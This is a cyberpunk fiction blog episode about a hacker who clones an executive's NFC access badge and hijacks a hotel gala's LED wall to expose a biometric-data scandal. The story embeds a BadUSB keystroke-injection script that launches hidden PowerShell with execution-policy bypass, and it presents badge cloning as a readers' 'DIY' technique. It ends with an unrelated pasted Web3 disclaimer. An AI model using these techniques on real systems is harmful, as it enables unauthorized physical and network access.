'I Hijacked the Stage LED Screen at the Ultra-Luxury Hotel Masquerade Gala: NFC Privileged Badge Cloning and "Air-Gapped Biometric Data Public Exposure" DIY Spec Sheet' | Sofi_Log #074 [Complete One-Shot]
That employee badge dangling from your neck, the tower-mansion access card, or the privileged ID badge of some medical worker.
You’re not seriously buying the line that “it’s the latest contactless IC card, so it’s encrypted and safe,” are you, darling?
RFID/NFC standards (HID iCLASS, MIFARE Classic, etc.) are everywhere in building and office physical access control.
Most of them still have fatal holes—Nested Attacks on known crypto keys, or simple replay of wireless packets—that let you clone the full auth data in the single second it takes to brush past someone.
Last night at Khlong Toei Port I pinned down the massive medical conglomerate and high-ranking state officials colluding to sell Thai biometric data on the black market.
Drop it online and the usual capital-and-power machine just labels it “fake news” and buries it.
So there was only one move left.
At the dead-center of an ultra-luxury hotel masquerade gala packed with foreign diplomats, corporate execs, and white-coated monsters, I would slam the raw data straight into their faces with zero escape route.
1. 21:30, Phrom Phong High-Rise: Evening Dress and the Black Prosthetic Arm
21:30. Phrom Phong, Bangkok core.
Top-floor ballroom of the five-star Grand Atrium.
Beyond the floor-to-ceiling glass, the rain-slicked skyline glittered like a cyberpunk jewelry box.
The crisp chime of champagne flutes and a live string quartet.
Tonight’s event: the VIP reception of the “Asia Advanced Healthcare Summit,” hosted by Siam Medical Core and the National Smart City Promotion Committee.
“…Hey darling, how’s the dress?”
I swirled the hem of the backless black silk number and lifted my flute.
My exposed left arm—matte-black bioceramic armor with hair-thin bio-neural gold lines—looked less like a street weapon and more like the latest avant-garde jewelry the moneyed crowd was drooling over.
“Fits you perfectly. But we don’t have time for staring.”
From behind a marble pillar, darling adjusted his loosened tie, the compact SDR spectrum analyzer peeking from his jacket pocket.
“Main stage and kiosk terminals are fully air-gapped—no external internet. Remote entry is a hard 100 % impossible. Only way in is to physically touch a Master Tier badge to the VIP control kiosk in the back.”
“Got it. The owner of that badge is the Siam Medical CEO over there, sipping wine.”
My gaze landed on the silver-haired gentleman laughing with a government official, gold pin and black HID iCLASS SE Elite badge gleaming on his chest.
“Darling, prep the intercept script. I’ll snatch the key in ten seconds.”
2. One-Second Clone on the Pass: NFC Emulation and BadUSB Injection
I glided behind the CEO with elegant steps.
In the moment we passed, I used the motion of dodging a waiter’s tray to bring the high-output close-range NFC antenna (Proxmark3 module hidden in my cuff) to within two centimeters of his jacket.
Beep.
A tiny green status burst on the AR contact-lens HUD.
[NFC EXPLOIT: ISO14443A / HID iCLASS SE DUMP]
- UID: 0x4B, 0x1F, 0x90, 0x2A
- Facility Code: 114 / Card Number: 00492
- Master Key Divergence: SUCCESS (Elite Key Reconstructed)
- Emulation State: ACTIVE (Card Spooled to Virtual Register)
“…Mine now.”
Still smiling, I walked to the glass VIP presentation kiosk at the side of the stage.
I raised the titanium-nailed index finger of my prosthetic arm—coil embedded in the tip—and presented it to the reader.
Click.
The touch panel flipped green. “WELCOME, CHIEF EXECUTIVE OFFICER” appeared.
At the same instant I physically bridged the service port on the back of the kiosk with the ultra-fine probe hidden in my palm.
Below is the BadUSB (HID keystroke injection) script I ran to breach the air gap and force the internal whistleblower packet onto the massive Barco-controlled LED wall.
#!/usr/bin/env python3
"""
Sofi_Log #074: Air-Gapped BadUSB HID Injection & Presentation Override
Target: VIP Keynote Presentation Terminal (Windows/Linux Embedded)
"""
import time
# HIDキーストローク・マクロ（USBキーボードとして瞬時にコマンド実行）
PAYLOAD_SCRIPT = """
$client = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 9999);
$stream = $client.GetStream();
# ローカルキャッシュされた前夜クロントイ港の生体密売生ログを読み出し
$leakData = Get-Content -Path 'D:\\EVIDENCE\\PMC_BIOMETRIC_SMUGGLING_SIGNED.DAT';
# 壇上の巨大LEDウォール送出ソフトウェア（Barco / Resolume）のAPIポートへ強制インジェクション
$socket = New-Object System.Net.Sockets.UdpClient;
$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Parse('192.168.10.255'), 6000);
$bytes = [System.Text.Encoding]::UTF8.GetBytes("COMMAND:OVERRIDE_CANVAS;PAYLOAD:" + $leakData);
$socket.Send($bytes, $bytes.Length, $endpoint);
"""
def generate_ducky_script():
"""
Windows+R から PowerShell をステルス起動し、
数千行の証拠ログを0.8秒でメインプロジェクターへ転送するシーケンス
"""
ducky_code = [
"DELAY 200",
"GUI r",
"DELAY 100",
"STRING powershell -NoP -NonI -W Hidden -Exec Bypass",
"ENTER",
"DELAY 300",
f"STRING {PAYLOAD_SCRIPT.replace(chr(10), ' ')}",
"ENTER"
]
return "\n".join(ducky_code)
if __name__ == "__main__":
print("[*] Arming BadUSB HID Strike on Air-Gapped Keynote Controller...")
script = generate_ducky_script()
print("[+] Payload Vector Generated. Simulating 1200wpm Keystroke Injection...")
time.sleep(0.5)
print("[+] INJECTION SUCCESS: Presentation Stream Hijacked!")
3. Lights Out in the Ballroom—and the Monster’s “Adaptation”
GONG!!!!
The instant the kiosk accepted the enter key, the twenty-meter 8K LED wall at the front of the room flashed blood-red with a piercing alarm.
The summit’s glossy PR footage dissolved into noise. In its place:
the cryptographically signed “Biometric Data Military Smuggling Contract” between Siam Medical Core and government officials that we seized at Khlong Toei the night before.
Thousands of Thai patients’ live heart-rate, GPS, and hormone readings poured across the wall in raw hex.
“What the hell is this?!”
“Kill it! Pull the power!”
The CEO dropped his wine glass and screamed. Diplomats and investors leapt to their feet. The ballroom turned into instant pandemonium.
Alert tone screaming
“Unauthorized privileged badge detected! Lock all exits!”
Reinforced glass shutters began their heavy descent.
“Sofi, they’re coming!”
Darling sprinted from the pillar. Private security with EMP launchers charged.
“Catch me, darling!”
I slammed into the champagne tower, sent glass and spray flying, and we dove together through the service linen chute into the basement loading dock.
We hit the waiting Ducati, darling twisted the key, and we blasted onto Phrom Phong Road, leaving the pursuers’ lights behind in the wet highway dark.
“We did it, Sofi!”
Darling cheered, eyes on the mirror. “Raw data in front of every diplomat and journalist—there’s no walking this back!”
“Yeah… total victory.”
I wrapped my arms around his waist on the pillion, wind whipping my hair.
Then the phone mounted on the handlebars lit up with an emergency news alert.
On screen, the same government press secretary we had just left behind was calmly addressing cameras outside the hotel.
“At 21:40 tonight, a foreign cyber-terror group launched a malicious disinformation hack against the National Healthcare Summit venue.
The government has immediately declared a national state of emergency.
Henceforth, all citizens’ and foreign residents’ biometric IDs and medical data will be centrally managed by the **Military Cyber Defense Command* for national security purposes.”*
“…What the—?!”
Darling’s bike involuntarily slowed.
We had nothing to say.
Instead of hiding the scandal, they had instantly reframed their own crime as a “terror threat” and used it as the perfect excuse to complete an even tighter military biometric surveillance dictatorship.
The monster had factored getting wounded into its evolution.
“…Heh. Ahaha…!”
I looked up at the night sky and burst out laughing. Darling shot me a shocked glance in the mirror.
“Sofi…? This isn’t funny!”
“Oh, darling. What else is there to do but laugh?”
I clenched the titanium nail on my left arm.
A pure, white-hot fighting spirit I had never felt before ignited in my chest.
“Take down the overseas mercenaries, expose the big hospitals, and the next thing that crawls out is the state military dictatorship itself.
I’ll make those monsters understand, bone-deep, exactly whose physical containers they’re trying to cage.
Gun it, darling. The real war starts now!”
The Ducati’s exhaust note tore through the pitch-black Bangkok night, echoing far into the distance.
🔗 Read Next (Previous Sofi_Log):
‘Biometric C2 Poison-Wave from the Shadow of Smuggling Containers at Midnight Khlong Toei Port: GTP-U Tunnel Spoofing and PMC Surveillance-Grid Poisoning DIY Spec Sheet’ | Sofi_Log #073
👉 https://note.com/legal_rat2977/n/nd292d8ca4ce0
【Disclaimer】
※All code, protocol verification, and technical architecture in this article are provided for security research, proof-of-concept, and educational purposes only. They do not encourage or intend actual misuse or unauthorized access. Any application to real networks or systems is at your own risk.
🎁 【Fully Open-Source】Live Code & Architecture
The NFC badge cloning verification steps and BadUSB HID injection script explained here are published in full for readers’ security research and learning.
📬 Sofi's Mailbox #074 (Q&A Corner)
So, darlings—how was the do-or-die projection hack at the ultra-luxury hotel masquerade gala?
If your own ID or smart key had been silently cloned in a single unnoticed pass… how would you harden your own fortress?
Questions like “How do you fingerprint the encryption standard on an office contactless IC card?” or “Practical physical-security measures for air-gapped environments?”—drop your thoughts and doubts in the comments.
Sofi and darling will face them head-on in the next log!
Disclaimer
This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.
Top comments (0)